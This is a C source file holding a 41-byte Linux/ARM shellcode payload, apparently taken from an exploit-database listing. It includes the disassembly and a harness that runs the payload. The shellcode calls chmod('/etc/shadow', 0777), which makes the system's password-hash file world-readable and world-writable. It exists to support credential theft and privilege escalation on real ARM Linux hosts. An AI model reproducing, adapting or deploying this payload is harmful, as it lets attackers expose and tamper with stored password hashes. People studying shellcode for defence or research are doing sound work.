/*
Title:     Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes
Date:      2012-09-08
Tested on: ARM1176JZF-S (v6l)
Author:    midnitesnake

00008054 <_start>:
    8054:       e28f6001        add     r6, pc, #1
    8058:       e12fff16        bx      r6
    805c:       4678            mov     r0, pc
    805e:       3012            adds    r0, #18
    8060:       21ff            movs    r1, #255        ; 0xff
    8062:       31ff            adds    r1, #255        ; 0xff
    8064:       3101            adds    r1, #1
    8066:       270f            movs    r7, #15
    8068:       df01            svc     1
    806a:       1b24            subs    r4, r4, r4
    806c:       1c20            adds    r0, r4, #0
    806e:       2701            movs    r7, #1
    8070:       df01            svc     1
    8072:       652f            .short  0x652f
    8074:       732f6374        .word   0x732f6374
    8078:       6f646168        .word   0x6f646168
    807c:       46c00077        .word   0x46c00077
*/
#include <stdio.h>


char shellcode[] = "\x01\x60\x8f\xe2"
                   "\x16\xff\x2f\xe1"
                   "\x78\x46"
                   "\x12\x30"
                   "\xff\x21"
                   "\xff\x31"
                   "\x01\x31"
                   "\x0f\x27"
                   "\x01\xdf"
                   "\x24\x1b"
                   "\x20\x1c"
                   "\x01\x27"
                   "\x01\xdf"
                   "\x2f\x65"
                   "\x74\x63\x2f\x73"
                   "\x68\x61\x64\x6f"
                   "\x77\x00"
                   "\xc0\x46";

int main()
{
        fprintf(stdout,"Length: %d\n",strlen(shellcode));
        (*(void(*)()) shellcode)();

return 0;
}
